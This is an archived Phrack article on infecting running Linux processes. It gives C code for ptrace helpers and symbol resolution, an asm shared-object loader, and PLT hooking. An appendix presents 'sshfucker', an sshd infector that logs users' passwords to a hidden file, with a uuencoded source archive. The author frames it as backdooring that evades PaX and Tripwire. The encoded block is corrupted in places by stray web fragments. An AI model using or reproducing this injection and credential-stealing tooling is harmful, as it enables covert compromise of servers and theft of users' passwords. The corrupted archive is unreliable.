💾 Archived View for aphrack.org › issues › phrack59 › 8.gmi captured on 2021-12-03 at 14:04:38. Gemini links have been rewritten to link to archived content
-=-=-=-=-=-=-
==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x08 of 0x12 |=--------------------=[ Runtime Process Infection ]=--------------------=| |=-----------------------------------------------------------------------=| |=---------------=[ anonymous <p59_08@author.phrack.org> ]=--------------=| --[ Contents 1 - Introduction 2 - ptrace() - Linux debugging API 3 - resolving symbols 4 - plain asm code injection - old fashioned way 5 - .so injection - easy way 6 - A brief note about shared lib redirection 7 - Conclusion 8 - References A - Appendix - sshfucker: runtime sshd infector --[ 1 - Introduction The purpose of this article is to introduce a couple of methods for infecting binaries on runtime, and even though there are many other possible areas of use for this technique, we will mainly focus on a bit more evil things, such as backdooring binaries. However, this is not supposed to be ELF tutorial nor guide to linking. The reader is assumed to be somewhat familiar with ELF. Also, this article is strictly x86 linux specified, even though the same techniques and methods could be easily ported to other platforms as well. --[ 2 - ptrace() - Linux debugging API Linux offers one simple function for playing with processes, and it can do pretty much everything we need to do. We will not take a more indepth look at ptrace() here, since its quite simple and pretty much all we need to know can be found on the man page. However we will introduce a couple of helper functions to make working with ptrace() easier. /* attach to pid */ void ptrace_attach(int pid) { if((ptrace(PTRACE_ATTACH , pid , NULL , NULL)) < 0) { perror("ptrace_attach"); exit(-1); } waitpid(pid , NULL , WUNTRACED); } /* continue execution */ void ptrace_cont(int pid) { if((ptrace(PTRACE_CONT , pid , NULL , NULL)) < 0) { perror("ptrace_cont"); exit(-1); } while (!WIFSTOPPED(s)) waitpid(pid , &s , WNOHANG); } /* detach process */ void ptrace_detach(int pid) { if(ptrace(PTRACE_DETACH, pid , NULL , NULL) < 0) { perror("ptrace_detach"); exit(-1); } } /* read data from location addr */ void * read_data(int pid ,unsigned long addr ,void *vptr ,int len) { int i , count; long word; unsigned long *ptr = (unsigned long *) vptr; count = i = 0; while (count < len) { word = ptrace(PTRACE_PEEKTEXT ,pid ,addr+count, \ NULL); count += 4; ptr[i++] = word; } } /* write data to location addr */ void write_data(int pid ,unsigned long addr ,void *vptr,int len) { int i , count; long word; i = count = 0; while (count < len) { memcpy(&word , vptr+count , sizeof(word)); word = ptrace(PTRACE_POKETEXT, pid , \ addr+count , word); count +=4; } } --[ 3 - resolving symbols As long as we are planning any kind of function intercepting/modifying, we need ways to locate some certain functions in the binary. For now we are gonna use link-map for that. link_map is dynamic linkers internal structure with which it keeps track of loaded libraries and symbols within libraries. Basicly link-map is a linked list, each item on list having a pointer to loaded library. Just like dynamic linker does when it needs to find symbol, we can travel this list back and forth, go through each library on the list to find our symbol. the link-map can be found on the second entry of GOT (global offset table) of each object file. It is no problem for us to read link-map node address from the GOT[1] and start following linkmap nodes until the symbol we wanted has been found. from link.h: struct link_map { ElfW(Addr) l_addr; /* Base address shared object is loaded */ char *l_name; /* Absolute file name object was found in. */ ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */ struct link_map *l_next, *l_prev; /* Chain of loaded objects.*/ }; The structure is quite self-explaining, but here is a short explanation of all items anyway: l_addr: Base address where shared object is loaded. This value can also be found from /proc/<pid>/maps l_name: pointer to library name in string table l_ld: pointer to dynamic (DT_*) sections of shared lib l_next: pointer to next link_map node l_prev: pointer to previous link_map node The idea for symbol resolving with the link_map struct is simple. We traverse throu link_map list, comparing each l_name item until the library where our symbol is supposed to reside is found. Then we move to l_ld struct and traverse throu dynamic sections until DT_SYMTAB and DT_STRTAB have been found, and finally we can seek our symbol from DT_SYMTAB. This can be quite slow, but should be fine for our example. Using HASH table for symbol lookup would be faster and preferred, but that is left as exercise for the reader ;D. Let's look at some of the functions making life more easy with the link_map. The below code is based on grugq's code on his ml post[1], altered to use ptrace() for resolving in another process address space: /* locate link-map in pid's memory */ struct link_map * locate_linkmap(int pid) { Elf32_Ehdr *ehdr = malloc(sizeof(Elf32_Ehdr)); Elf32_Phdr *phdr = malloc(sizeof(Elf32_Phdr)); Elf32_Dyn *dyn = malloc(sizeof(Elf32_Dyn)); Elf32_Word got; struct link_map *l = malloc(sizeof(struct link_map)); unsigned long phdr_addr , dyn_addr , map_addr; /* first we check from elf header, mapped at 0x08048000, the offset * to the program header table from where we try to locate * PT_DYNAMIC section. */ read_data(pid , 0x08048000 , ehdr , sizeof(Elf32_Ehdr)); phdr_addr = 0x08048000 + ehdr->e_phoff; printf("program header at %p\n", phdr_addr); read_data(pid , phdr_addr, phdr , sizeof(Elf32_Phdr)); while ( phdr->p_type != PT_DYNAMIC ) { read_data(pid, phdr_addr += sizeof(Elf32_Phdr), phdr, \ sizeof(Elf32_Phdr)); } /* now go through dynamic section until we find address of the GOT */ read_data(pid, phdr->p_vaddr, dyn, sizeof(Elf32_Dyn)); dyn_addr = phdr->p_vaddr; while ( dyn->d_tag != DT_PLTGOT ) { read_data(pid, dyn_addr += sizeof(Elf32_Dyn), dyn,\ sizeof(Elf32_Dyn)); } got = (Elf32_Word) dyn->d_un.d_ptr; got += 4; /* second GOT entry, remember? */ /* now just read first link_map item and return it */ read_data(pid, (unsigned long) got, &map_addr , 4); read_data(pid , map_addr, l , sizeof(struct link_map)); free(phdr); free(ehdr); free(dyn); return l; } /* search locations of DT_SYMTAB and DT_STRTAB and save them into global * variables, also save the nchains from hash table. */ unsigned long symtab; unsigned long strtab; int nchains; void resolv_tables(int pid , struct link_map *map) { Elf32_Dyn *dyn = malloc(sizeof(Elf32_Dyn)); unsigned long addr; addr = (unsigned long) map->l_ld; read_data(pid , addr, dyn, sizeof(Elf32_Dyn)); while ( dyn->d_tag ) { switch ( dyn->d_tag ) { case DT_HASH: read_data(pid,dyn->d_un.d_ptr +\ map->l_addr+4,\ &nchains , sizeof(nchains)); break; case DT_STRTAB: strtab = dyn->d_un.d_ptr; break; case DT_SYMTAB: symtab = dyn->d_un.d_ptr; break; default: break; } addr += sizeof(Elf32_Dyn); read_data(pid, addr , dyn , sizeof(Elf32_Dyn)); } free(dyn); } /* find symbol in DT_SYMTAB */ unsigned long find_sym_in_tables(int pid, struct link_map *map , char *sym_name) { Elf32_Sym *sym = malloc(sizeof(Elf32_Sym)); char *str; int i; i = 0; while (i < nchains) { read_data(pid, symtab+(i*sizeof(Elf32_Sym)), sym, sizeof(Elf32_Sym)); i++; if (ELF32_ST_TYPE(sym->st_info) != STT_FUNC) continue; /* read symbol name from the string table */ str = read_str(pid, strtab + sym->st_name); if(strncmp(str , sym_name , strlen(sym_name)) == 0) return(map->l_addr+sym->st_value); } /* no symbol found, return 0 */ return 0; } We use nchains (number of items in chain array) stored from DT_HASH to check how many symbols each lib has so we know where to stop reading in case the wanted symbol is not found. --[ 4 - plain asm code injection - old fashioned way We are gonna skip this part because of lack of time and interest. Simple pure-asm code injectors have been around for quite sometime already, and techniq is probably already clear, since it just really is poking opcodes into process memory, overwriting old data, allocating space with sbrk() or finding space otherwhere for own code. However, there is another method with which you do not have to worry about finding space for your code (atleast when playing with dynamically linked binaries) and we are coming to it next. --[ 5 - .so injection - easy way Instead of injecting pure asm code we could force the process to load our shared library and let the runtime dynamic linker to do all dirty work for us. Benefits of this is the simplicity, we can write the whole .so with pure C and call external symbols. libdl offers a programming interface to dynamic linking loader, but a quick look to libdl sources show us that dlopen() , dlsym() and dlclose() are quite much just wrapper functions with some extra error checking, while the real functions are residing in libc. here's the prototype to _dl_open() from glibc-2.2.4/elf/dl-open.c: void * internal_function _dl_open (const char *file, int mode, const void *caller); Parameters are pretty much the same as in dlopen(), having only one 'extra' parameter *caller, which is pointer to calling routine and its not really important to us and we can safely ignore it. We will not need other dl* functions now either. So, we know which function we can be used to load our shared library, and now we could write a small asm code snippet which calls _dl_open() and loads our lib and thats exactly what we are gonna do. One thing to remember is that _dl_open() is defined as an 'internal_function', which means the function parameters are passed in slightly different way, via registers instead of stack. See the parameters order here: EAX = const char *file ECX = const void *caller (we set it to NULL) EDX = int mode (RTLD_LAZY) Asset with this information, we will introduce our tiny .so loader code: _start: jmp string begin: pop eax ; char *file xor ecx ,ecx ; *caller mov edx ,0x1 ; int mode mov ebx, 0x12345678 ; addr of _dl_open() call ebx ; call _dl_open! add esp, 0x4 int3 ; breakpoint string: call begin db "/tmp/ourlibby.so",0x00 With good'old aleph1-style trick we make our loader position independent (well it actually does not have to be, since we can place it anywhere we want to). We also place int3 after 'call' so process stops execution there and we can overwrite our loader with backed up, orginal code again. _dl_open() address is not known yet, but we can easily patch it into code afterwards. A cleaner way would be getting the registers with ptrace(pid, PTRACE_GETREGS,...) and write the parameters to user_regs_struct structure, store libpath string in the stack and inject plain int 0x80 and int3, but it is really just a matter of taste and lazyness how you do this. About .so injection, this obviously will not work with staticly compiled binaries since static binaries do not even have dynamic linker loaded. For such binaries one has to think of something else, maybe plain-asm code injection or something. Another disadvantage of injecting shared objects is that it can be easily noticed by peeking into /proc/<pid>/maps. Though one can use lkm's / kmem patching to hide them, or maybe infecting existing already loaded libs with new symbols and then forcing to reload them. However, if anyone has good ideas how to solve these problems, I would like to hear about them. --[ 6 - A brief note about shared lib redirection For runtime infection, function redirection is prolly the most obvious thing to do. Like Silvio Cesare showed us on his paper [2], PLT (Procedure Linkage Table) is prolly the cleanest and easiest way to do this. Getting our hands on executable's PLT via the linkmap is easy, the very first node of the link_map list has pointers to executables dynamic sections, and from there we can look for DT_SYMTAB section (just as we do with all objects), executables DT_SYMTAB entries are in fact part of the PLT. Redirection is done by placing jumps into the corresponding function entries on the PLT, to our functions in .so what we loaded. --[ 7 - Conclusion Runtime infection is a quite interesting technique indeed. It does not only pass pax, openwall and other such kernel patches, but tripwire and other file integrity checkers as well. As a demonstration of runtime infection abilities I have included little sshd-infector at the end of this article. It is capable of snooping crypt(), PAM and md5 passwords of users logged via sshd. See Appendix A. --[ 8 - References [1] More elf buggery, bugtraq post, by grugq http://online.securityfocus.com/archive/1/274283/2002-07-10/2002-07-16/2 [2] Shared lib redirection by Silvio Cesare http://www.big.net.au/~silvio/lib-redirection.txt Subversive Dynamic Linking, by grugq http://online.securityfocus.com/data/library/subversiveld.pdf Shaun Clowes's Blackhat 2001 presentation slides http://www.blackhat.com/presentations/bh-europe-01/shaun-clowes/injectso3.ppt Tool Interface Standard (TIS) Executable and Linking Format Specification http://x86.ddj.com/ftp/manuals/tools/elf.pdf ptrace(2) man page http://www.die.net/doc/linux/man/man2/ptrace.2.html --[ Appendix A - sshfucker: runtime sshd infector sshf typescript: root@:/tmp> tar zxvf sshf.tgz sshf/ sshf/sshf.c sshf/evilsshd.c sshf/Makefile.in sshf/config.h.in sshf/configure root@:/tmp> cd sshf root@:/tmp/sshf> ./configure ; make checking for gcc... gcc checking for C compiler default output... a.out checking whether the C compiler works... yes checking whether we are cross compiling... no checking for executable suffix... checking for object suffix... o checking whether we are using the GNU C compiler... yes checking whether gcc accepts -g... yes checking for pam_start in -lpam... yes checking for MD5_Update in -lcrypto... yes configure: creating ./config.status config.status: creating Makefile config.status: creating config.h gcc -w -fPIC -shared -o evilsshd.so evilsshd.c -lcrypt -lcrypto -lpam -DHAVE_CONFIG_H gcc -w -o sshf sshf.c root@:/tmp/sshf> ps auwx | grep sshd root 9597 0.0 0.3 2840 1312 ? S 03:04 0:00 sshd root@:/tmp/sshf> root@:/tmp/sshf> ./sshf 9597 /tmp/sshf/evilsshd.so attached to pid 9597 _dl_open at 0x4023014c stopped 9597 at 0x402017ee jam! if it jams here, try to telnet into sshd port or smthing lib injection done! org crypt() at 0x804b860, evil crypt at 0x40265d60 org getspnam at 0x804afa0, evil getspnam at 0x40265e0c org strncmp() at 0x804b8f0, evil strncmp() at 0x40265a84 org MD5_Update() at 0x804bdf0, evil MD5Update at 0x40265aec all done, now quiting... root@:/tmp/sshf> root@:/tmp/sshf> ssh -l luser 127.0.0.1 luser@127.0.0.1's password: [luser@localhost:~>ls -al /tmp/.sshd_passwordz -rw-r--r-- 1 root root 104 Jul 14 03:27 /tmp/.sshd_passwordz [luser@localhost:~>exit Enjoy. begin 644 sshf.tgz M'XL("(G",#T"`W-S:&8N=&%R`.P\^UO;R*[]U?XKAA1*`B$DX=$6-MRE(:6< MY74AW9Z>TILU]B1Q<6ROQP;2+?_[E33C9QS:\]WMGN_;6[=)[!E)(VDDC>9A MA!@/UY]\WZO9W&P^W]J"WV:SM;F9^U77$P!H;<*_UO.-)\U6\WFK^81M/?D+ MKDB$1L#8DW#LW3P.QP/QY&]W">Q__&J8WZ__6\WF=J'?T_YO;S2;SU7_;VPW M-Z"\U6ZVMI^PYH_^_^[7^@K3V0H#"[#6AI%YPX,&"R(WM"><"IGM#KD9>D&= M^480,F_(X,<V'8ZWY^/`,&_8ULL&$CD*EP5SO9`9$6@S{body}amp;QH1$[(["$+Q[9@ M@H>"3;TH8*8W\:.0!\QSV=`.@%3`A#?A`.:.D!*_Y2Z;>%#C&B*<-EB?"`0F M@Y\A0',K,HW0]ES#87X4^)[@`J@Y`(KXIV?]W@Z[X!,^N89F0H^-[%O.!L/( M<08@2#C&LH;PD`,C&-U^:']$=9U_:GMFDYD<?:3""W;:XSW,D61:T-IODQ, MQ;H?@A[X;'DX];F8+;XS[+!0&@8@>K',<NSK?)ECN]'].MIBOIP[PQG`F]F& M)Q/#G2T%#RBP,S3=T"D`VB-0-I;ID8L/W&+FV`ATX3F>8?'@PT?6T1ECE:M[ M?GUUW]JHL/P%I@;7IXF//ZTM3=-`WQ)AZT41.$7P/4)8XL9]%F6C=75OOBQO MXQXLA%#,^SI^9="NC:O[)J`VF_&GDJ!-O%O\66S>MP#-RJ&!1,]?`*/;T/(F M2-<N16MO;&YM/W\!V-?W*?)P>'5OS5&':3@._*P01J;!%QL@'C34W*S,X!B6 MI1K<A):$GT$SS?F*M-UP0\NVP5_(#_(G/Y7=`E]M"0_?*9VQS2:_<_:,3;GC M&&R!(`I&`;T\,#V+HU$P0(?6MJ&E;=#X<_B\@,]+U#Q0]",Q9M:=%UBL"84O MFL^;VTU&C:)`&PA)T+M9>0(>LCH{body}amp;U]]RPL9R;#B>.Y($]-):%SO%DO#@$I! M*9KF`L^V*W9U_=:S+5UZ\\`(0\,<5P&"^;95T__0-7M8K<K:ZGG_8K_;&^SW M^_O=-\`$@,#WZ=OC8_53J[&?6+/&_M#9G,OG0>`%U4JNO4IM=RX"O[?#ZEH+ M(+0'7=<PC$"SU5S3[]Z>$F<'`/60%\CTW#`O#MRCU"5R=<].^X]+I6D%_I$\ M<J]I13['-@P7U85W1Z\O^V?GY[V#J@`Z>?:?"63^].S-_NGA+.L6+^N+/,L' M/>R*,I[GLBS)EC"MFF=ZP`UK8!FA$;<--'.6A-X80"&!K]P"X2P$(CG<3;1M M0Z7IP?@*K1`VVCW<YTFN()4.JQ9*:PS)8W\1"8"PX=/<354LRW^B)C.&IY%W M=5A>7^>]WB_]WC^QFY5@*,HJT5"*FS5%V<)JAVW.U@'Y#_;J*KJ\%"NNR.CS M+K!#_OT5"I7`1:RF1U2D:9`CF/ZT^HQT5"<52QW`@[`_<V]8Q:H:&4FY(L]^ MZ:$BZS-JA`?"1=18<YOXD+$Q'?(BQ*CF(BA;N8Z&@!YK9(H2Q_I<J4)E#?C` MBMU\\6HKKF![>^Q%L;:=K6UM%ZLWLM7MS=0/`VY!HF8F\4-Q-@R\B;H-O2R+ ML5#Q0+#:`Fgemini - kennedy.gemi.dev )&TP8PE2;4@+?F*,5/UQ24W&!1UB=V2&&J8X@XGALQ7=\2`; MY`,L@8)LF(A;ZSG#C?:@-[8")2Z7MQTV@9'.,ZNJK12NEN%5EIZGV/YCV.>E MV`=3-U:U)6_+L0%N%OD=VAU=(R],*Z4F6*H)1Y87*1?@LO3SO@=.#,P/E`L" MG_$M8-$M>I*NP0`,>;L(V1T':^4P!:#.@RR4C3DF@Q+#![)&",,ZC.J;+V"N M!\7><`BV`::@:Y"H^X$W"HQ)C`5#,O@HT;H;<TC_@7X83#%9EUW,SON#@_>G M^R='73`Q$V<`#20$X[Z6AFII3[EFJ;L3B\KWLJZE0G>R:*N$MK;'!_X8^-XM M:23!E+?%)F)3T)+X0V!K>_X`YP9LH9.52`:D7!.9%C#JSA*7`/.:?8#$#3P& M.\SU[L!X8"H6>-%HC'UK3&PSUB+#.9^#^A[:KD4AC`N!<[S#LWZ)?NN)'+=2 M>J!78$(9,HB>V%$GCY4)RXB_MF<-0F.$2CGH#\Z/^]ATJ4X2@D658)N/\?*` M[(`+X>B:>E8M;CUR&]9`C;$(1>,<IIN@)0_4@@QQ%RRR#@FHG%S^EU2.4O"G M")P"F57^D7@FQ+H),X`$)*Y1X,)SJ5+S0WX-O1U2H]CYP+HV48JB{body}lt;;U$(E3 M`RSQ>8T:I/:=;&B'*=SM@'Q/9$;EF>""5'#<_3_%LV*\47:@:\I`BAJ`1M?V MG(%CE<C]%<LK-2YI3^+.#LUQ68UF&H*C_;W9OWRS@P4EQI>UE=5-B!.*2\G0 M,S6?2+A2SS*%T+1K('B#[*6-7?8O^ONO9'-R:@*JF#'*##*F$!GT]R<I.LUW MO@G=XK1"LY.OP91=F^M=N[/>F(X6;*[;Z=HPX+QJ$05XE#F.3*]!X,>3P>Q` M3J68:;;:+SZF9D7TY"I*H49EC&AC"0WNJF%27H"0PI<9&09ZRD,Q:]Q-"5U_ MYH%7E<UF'0\>:UDX*'(QR9150*>*_$)"+ZE",1"NJD(HRSJ,<EB)*A.@G(IT M#-@#Z/6![1:<N-R',6,F[2,.#`(\X]27TTGLU%`[QZ,!B'H5J<#D7Y!MT43: MIG"O9B7IF&=#OAW[0%DXER:[6K579MNAVH)9Q0QH,-M0MFP/(:`?O\;*_J#_ M_KQ7!;2U/1&"5H9>#<>4RWY_\/KM:;?&<*9JNQ%7N()F6XDIQHI#+UIE,1E2 M%`F%,T_JT(F/OXPXI/JT*Q/50CX-RJCI%$:P(ZN94+$:$[\UG(A3Q'J(QQ(D M>NTY;`C3!JL>6X%<&(D?`.%!>\P<'/LZXUGY7D\*`(@L0*7525ZMH;'4H7[@ M!_PV,TFEB18%&HHIT@R`"E+]T-[:_HB"2/-!,T"3Z[!"BH[I.87]>'gemini - kennedy.gemi.dev X9\] MBP.IR^_#4E.9,SP@/(V#CPY_FA2%S#I!4T;PC>V`B!`%I*Q)6^I9CCG8?;C` M;4#ZJBIP"=P.Y=HXK4O0ZA::+.J>9>PIH0PWB3$A$%EPL\8H5!?L-S^`$_LH M,=;*7BB)$#%4:KQQG([C#?;N`]%G8&-@1?H )C,R0A&9FP]M'K^,9F/2TNC M>*L,BK&<027E&JYB#P(^$@,%"/>?,VBX+`VR%E='8-AR/)^#<7LE==[`#*8^ MVH*\*8,8\5#X"$W91"^,1%$@V[F0!@QA%$*,;&VZAH`P&]9-4AI3I``W60A M5%B]-LR;"#T'+::D7JZZI_6TC,>JV#<0;C?4>A<,&N&P6HF$,>([;$FPGZ"' M]G!_X!JW0?:NW`J.<=B)S8]EBW=@G*CMJMHEJ;.SP<7!V>GQ^^RJFFJ%%M=V M*'A%D%T-P;.!?AE5-),.S`T]6Q)N?:1H`!6YM5<9)1+ZLA14`/-!I+!D`7E: M=:GM:C)PJFGBP'(&Q'8-?$VJIKI030VGX!08)\DC*C$B:J6R#N7X,1N56JU$ MU`5<87(L=SF4LZ9,JPMLIUJ=(WS*YI#?L6'DT@Q,P)37!JW!%.S.<%V#C>U/ MN+F&L>*1$#K?^_78&;X6`2H$1:PJY_@J!D%!U%!(Y"9?10*H`>ZVABF6\6U8 MN*$(\RX;Y5?(X%9?13TYV!J\]:T4B7SMJV@J&%?0J+34^N+>Q26-)9\L+S4H MTC?N9A@XK\@8`J6/0`!7,,AA:6T+.S5>(HLWT%9;K1F*)<O<A[W^1>_PLK@X M_PRCI_+)U-Y2[D7HT7K,DI7AGX1&Q`:W_42$@-/@A=NCBF>:JF+6G$P(8J9K MF"+)84I%B!JMQ*K89,KT$5'K3#*DUEL5"(P_BE)]AC12RD&O%B'66G'PPLA4 MX$/F%R"0BJ0XN,NUI4605LJ4!-E)RNAJR20[U5)=D8OG`K@Q1JW0>F96:=#E M:4/YU<XLN5AZ12[ML4_&9$%F#@QN!<,%L7J\'!9RQ^6A-"S:I_<]W)V'.="$ M=M%EZ$GB*6W]J)Q+H^TSL`?HXZQJT";GLUF0.F^3EX_99$XHB*;`]">UZ&1Y M+E]043*_TZ."&V`*AW._VHHYQU468TB'!Z*`$3DA=4CL8BR4<97?VDXFN.[M MU&1/E(TPR61K4AHQT^%A,I4`E=3N,E.U26GTS&$G@;,<ORR0YO#3&#J7@/%5 M`KEPRNIE=&;#:XX*5`\B&5G+^2B+M#$%)!#'V)P>J8.],?ZG$R/P/QHYTSI, MXMD-=CR:J$QSXJ$-IPSR-C\^>\&(43&&8(QW=6D0$BN-@,5\D8PN2R3NL!R5 M?*$BE$\KY5P@V38AS94V5@29(2,7+:70TCY(:+J=%3HQD(+@27F.YWRB.R-\ MT5A*:&:KBZ0-W`!3-EE+)BMY<<O`2F!gemini - kennedy.gemi.dev H-L:G%NBCI!4R6-P,VL/N*959[S M0JEB.9^3SV@C32<*U*!"EN>HX01`<277#8IBE317!,G3>-`S`SH>T,#X6:>0 M^'MDAWB"J-$H1/Y\/$V#:681`<@^^7']_[SH_"<:,281W^D,Z./G/YN;FYL; M\?E?>-S"\Y_;SYL_SG_^-><_Y7G+V``86X-4SS*$B--*6W@N+EKC642$]:-K MQS;9+:@#$JN28Z%N>BP4X1U.QT)I&0SW?6-,UFRTL/XZO*,C94#E&6XFNPMT M$),]?A*3QL]O/G`Y>\*12CWSAI>5<P="<`EQ>U(XXPDIN`V?==O]^OG)DA.> MI<=)DW.6^<9MSY0D=?VIQ2&MXMKQV>'KH^.>IE76PXF_WL`.@Q%2"#QS\KF" M9UF'`,K>[/]*![I>'QT.WJ1D*S`I&-K`4D5_REW+'L8(&B{body}lt;'[TZWS_)+R[C MB#^6"V]S4+H7[\_[9RF6&..\!-/%H6.,Y(IP'I454&FE,4D0J\`DC/UJZ;I% MIWTR!6VUXS0(&9T)TG.+\PA>66PM8I:YH5;BL[RT=M/US@Q67;3K;BUS""V7 M\%;EP20SO(]YD04X:2KN7B4GE2!1B=N5*0JNE4ZF0TMF!G@'_-"2@>I5ABMM MW8O>?O_+V6#__+QW>@`W[RYPZ:W.,)[*`TDX8:L2?EU.XY)Y,#Z!%)1UY<`J M<M&O)8\E.9Z0-?28[ZGL@G`UD_Z`\&ES**14UGPS@CDR2JQG9S#YKN7!K6WR M?/=BS(T/@D'Y;7R_0F;H)XO.B2)C\RS91Y8HN*+PF*[9%Q9KFY6H.Z=&Y"[5 M-C[59F`J.U=-U'6;]LMRJDX5FVHDU@()3A(K21\Y%)I>V`59+><R=ZDY)%>G M+5&&O2Q(A;,[KFISCUU'0]K0`0E6_'B;KT3=ZD!@<I9.[H.K-FM)U(C/+U!R MBGTDN[D6'P+X\_HFMZ^J-E3G.T'!!_(]D],B2H)'U4AW9/32YO&,2-;<<:5! M;7''2P8Y<[_ATT(D,YQ0!;!$PW^B/J"]5!_P\&_H(]&&E$)10G;)Y]5NC?#O M+"EL/#=6G4M;2UI!LL1B_SP)\_NO\79<T1OG='G:XPGW,84'_>^?_Y\8-QPW M:QJV^Q_(_YOM[<WX_:^MS>T6YO_/MY[_R/__BJO;!>_[N=O]68?(=8GW^/NS M_OIX_Q`?U^[8VO#\J,O6!+@SM_2#WFL"P]^?==UPG)WL]{body}amp;^2JAKB]5NM\86 MJT2GQM:\%$AX680U1R[)+5:Q841!RK68`K9/*]S#F/2/Q8H_W?_CB<!_R/^; M6ZW$_]N;V^3_&S_F_W_)]31RLW,PG/$5BM2T[(>K_-W]/PKX]WO_>^[[_^V- MC>96._7_[3:M_[4W?OC_7^+_"VS]VG;7Q5A_R@XC//-/AQ'E:]9B*D(^6;,X MI.<63(*@+K#IO`2=93<#CIL><?HH&DB#NSR`4HM=3]E^%'IH7*S=V&I#+=1W M/7\:V*-QR%HO7[;K^+U!WYOTO47?V_3]@KY?PNP9[(2^6T#@=<`YN_2&X1T> M4GB-QR/I3?`Z.W)-Y(#>%4],F@DSL"&_P!?'$5,HS%T&T[JYQ(`,OC$N6.0Z M]L1&<7P>3&Q!*Y>A!_1]F,%9-B[K74>X\P/ZF'@P%9PR.VSH0&"?IK]2=[B` M&OF`VH4LRC!Q^_K"<{body}gt;H,D/`_'#@\!`*16?9N#8A^H[&]J<;9^)Z_N^!"*/; MN_OIYV4%>MSK]WL7EYWE_5==R)4.WQS]XY?CD].S\_^^N.R__?7=/]__*P%5 M5!=SC2SFZ"A0RQ[9(;3?C%]B?AD3,1PWFL0DCG,D)!(*>PD:XO<^OC2B-(1G ME@QU;)EY>$[!0-,"E<1&1',V4D`8#,2X4Q%`9+JTLKKD^TN[8NG#_PP6,RQ\ M7!HLC2K_;F/=\_-<.Z;O)PWEU;)TGE?,HRR\XNR5!S-&+L]ZAC;(H^-?.N`P MI5]S667QCW]=OAG\"G2.SDY7!0\?*KA+6>63R{body}amp;G{body}gt;,:VUNW^.VZ&SD.:^\] M:Y%)NC`Y3F'@`<]2=$\..CLZ=_(-O-HO;0%?KX*<V?>$?3^_C2R4/K11IE.< M0GM#<@Q^S\V(CD:1XB:\\QLWQQXTVZRP+ZB_95%OK'RXNEK_6*\O_Z:C\-@G MH/@=MGQ5-:YJRW,;!XH(V\$O$OP3-G0P&?D*)C`W(,\>7%1_32`K_@60XY. M3.UE2X`/QX7I2A8L)M).&4IX><K><7F.3[Z]H]YG@^AW\(_#\_-=!NXMCR.0 MZHT:OM)Y(Q@>W!7RCU2,,.;9)A&CN`@P-L@<<#PRJPS1<TTN23(1^7A<1^`A M6SS-)UA55K0;S<U:`^@D'3W,")ZPC.T<>'CL$8EE-8`OE"D.XY;PE`^-FXQ M)$WI[*T@%-"OXP[`PTV?K?G+:&92\9DJ4AQ6@?K)VJ#@&]48TW#<3(?F&@2: MW]*C.AE";'T#\%:E">GZ4G6XS@X&?`=MHPD+FPP5E]E?GYUUX+.K(."V]I@9 M$E2'OC-\R]+4$L$WCB^9&]G"@%Z$H+T8`['C_=-#]N6+["YP2GQ6SKC0(2^# MRC\(K-/=11=!]O%QESUDZ70'^\?'.4I44D:+*K+4J&"&7O_HI%<@B$7E%+$F M3Q)+9FAV\=V*`E$J*Z=*57FR5%2@"]IXNW_8*^H1R^;H$JL*^L2B67[/CH_W M^S,<R](Y/,O*`M>R<(;^Z=N3WL51MT!?E9;35Y5Y^JIPAOY)[_(2Y+HL-!`7 ME[<0U^:;B$NQ#;#HH]>7.L4^E^,^G6_@[@N^\X(1S.5W&#HX[A7@@5#3%MR9 M@M\8>,C0X@&-"J[36=:7=:#4J3!MD4K(2[L'Y_O]-UDWD259*61)B0"RHK.3 M\"X+%-O906KLB1`S/ORE]5](!O#O"*F\%<+JY:\7&PW(,H_Q[^;4U%LTD+RR M:V\4"3HH2^\91*(.=(0'40/IX"HP_ADD2"T\D-0<Q"UT?JLFC0&S$GK-K65# M(OO"<'QL_0Z#(@8RM@TQ1Z?D]\BU0QM&@\^49&*^C,35:WCX;LK0ON^L1R)8 MQ[/>CFX&$-L&F&'8T!NCCNOI(KJV;$CI]!-:6NNPD_U?>O)6OWS3@[@`JI5[ MO?2XIM)[4MZ)<6]/H@E$,OJ[2*!&[&1!Y^DC/$V*2=28@PST]K7E_6][7]K6 MQK$E_'Y-_XJ^0F.!KA;$9ANB7&-,$L_U]A@[R8QE@Y!:H+%0*VK)0&S/;W_/ M5E6GNEM"V&2Y=R!/K.I:3NVG3ITZ2V=Z!F2_I:HMY99$.+SQ<1(#\135PO#Q M!)]Z\1`=C>-CR',9'D=X`,8?4#`3UA3`0`--(73XK'UQ"$-TR)5+.<@.IUFW M%FR'Q8^2"5O!N9KK]Z`'$#T=]G^=1H=X5#0+CH](R\X.;\3+P-U6<''!?20> MR;@#H#YDA@H&HZ;]$LD$0?S89PV#SE1<=@E..LX\+*2$8@1N!8[]"5ZDNFT8 MQ02?=H#&)W4%Y*F,J2>UH(-*#-P#NVAHI9@5\.SYL_U@B-*">+]J8A"VX)0; M%^A,HC]_F!>73'N9N,FX/4R`MF&5GV92N8#_@@2:,IPTX1=K2\8=6&'-`$;C M.$X@XN)01`82!G:!DIQC&!<304,/VV@P:+-8+\FPQ6,UX#280*R05E34PP,< M=C<L"\0],;VEPGBU@:X]@]LDK$0"%^I1J??BN!`PA85I$V]V"#4A="*N$A[U M8Y1PQC`T2H$"(+`89-LQJ09WLBD`O90YPP:_AN8>HPQ=0LU!I6[8,"@:#QCD M..JTD?A*3BMX,QQ4PFC2J4&[H#/M3B<:(<T8G=4"V'TXFJ7B1]6`S[@I2T$R M(S&A5!ADC,W+($FE`)_@)8,MC'QZ@'V9(%652H1&0A)Q\A'M1:EDP#0E,J8Q MR$N%P:96S6A1*9!EDBHFL:4@'G1U#L)S-A'5-#,%>W$I.&L/4_$04Z(UARR) M_N22CP-`3W"&O6_CY+W8W?LG''6'SW:!J+%?KW9?^A%R=W(1!Z]>/@8ZS7X_ M?/W#R_T7SU^^:A+N0>7!9H!7`_C@I1UT8R+['_.)A#GZ,9PLG$IG*_)*4,B9 M4"F@P@1?VXE)H.A\O-!)#05%YT=P=W`IS5;15EQ@RMTTBFWSL%H@T^]!**V$ MJN'RAE>SPH4JC]>TBS?OFF_+S=9RK0S7M:.`NK)KEV_8/\,#N#V$,_CR9#C5 M;!6+\F#!HQ60-F[[]LD0MEXXN80=6$-HI*#N*H6-A+%57O=P4%8S01LR`?E= M\?HKI79V'+1F6<'3'RKL@C;4+#-D*5>T8X;`"?JT/Y#&>"$3D-]4^S#K(1Q% M<$!((S'&U)H*NZ`-V68Y0#EMHY.D2E<S+#;KT_L*6U!21:BP"]J0"<@O__A] 